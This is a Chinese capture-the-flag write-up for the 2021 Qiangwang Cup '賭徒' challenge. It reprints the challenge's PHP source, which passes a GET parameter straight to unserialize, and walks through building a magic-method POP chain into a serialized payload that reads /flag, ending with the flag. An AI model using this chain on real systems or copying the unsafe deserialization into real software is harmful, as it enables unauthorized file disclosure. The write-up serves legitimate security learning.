2021強網杯 [強網先鋒]賭徒


2021強網杯 [強網先鋒]賭徒

考點: 構造pop鏈

進去就一句話

I think you need /etc/hint . Before this you need to see the source code

看了看源碼,看了看請求和響應,啥也沒看出來

老規矩,上dirsearch

一個www.zip的備份文件,下載下來后里面有一個index.php的源碼文件,源碼如下:

<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);


class Start
{
    public $name='guest';
    public $flag='syst3m("cat 127.0.0.1/etc/hint");';
	
    public function __construct(){
        echo "I think you need /etc/hint . Before this you need to see the source code";
    }

    public function _sayhello(){
        echo $this->name;
        return 'ok';
    }

    public function __wakeup(){
        echo "hi";
        $this->_sayhello();
    }
    public function __get($cc){
        echo "give you flag : ".$this->flag;
        return ;
    }
}

class Info
{
    private $phonenumber=123123;
    public $promise='I do';
	
    public function __construct(){
        $this->promise='I will not !!!!';
        return $this->promise;
    }

    public function __toString(){
        return $this->file['filename']->ffiillee['ffiilleennaammee'];
    }
}

class Room
{
    public $filename='/flag';
    public $sth_to_set;
    public $a='';
	
    public function __get($name){
        $function = $this->a;
        return $function();
    }
	
    public function Get_hint($file){
        $hint=base64_encode(file_get_contents($file));
        echo $hint;
        return ;
    }

    public function __invoke(){
        $content = $this->Get_hint($this->filename);
        echo $content;
    }
}

if(isset($_GET['hello'])){
    unserialize($_GET['hello']);
}else{
    $hi = new  Start();
}

?>

從代碼中很容易的可以看出,給'hello'傳參,然后進行序列化攻擊。

現在問題來了,代碼中一共有3個類,我們需要從哪一個類開始下手呢?

通過對魔術方法和序列化的的學習,我們只能從Start這個類開始下手,當對這個該類進行反序列化時,會自動執行wakeup()方法,而這3個類中只有Start類存在這個方法

再繼續觀察發現,我們最終需要達到的目的地是Room類的Get_hint()方法

構造payload:

<?php
include "index.php";
$a = new Start();			// __wakeup()進入,
$a->name = new Info();		// Info的__toString()進入
$a->name->file["filename"] = new Room();	// Room的__get()進入
$a->name->file["filename"]->a= new Room();	// Room的__invoke()進入
echo "<br>";
echo serialize($a);
?>

  • payload如下:

?hello=O:5:"Start":2:{s:4:"name";O:4:"Info":3:{s:17:"%00Info%00phonenumber";i:123123;s:7:"promise";s:15:"I will not !!!!";s:4:"file";a:1:{s:8:"filename";O:4:"Room":3:{s:8:"filename";s:5:"/flag";s:10:"sth_to_set";N;s:1:"a";O:4:"Room":3:{s:8:"filename";s:5:"/flag";s:10:"sth_to_set";N;s:1:"a";s:0:"";}}}}s:4:"flag";s:33:"syst3m("cat 127.0.0.1/etc/hint");";}

PS:利用了魔術方法的特性成功進行了序列化攻擊,實現了在一個類跳轉到另一個類並執行方法!

image

base64解密得:

image

flag{668c5887-b4ae-4853-a3b4-e50e9c9e1b3e}


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM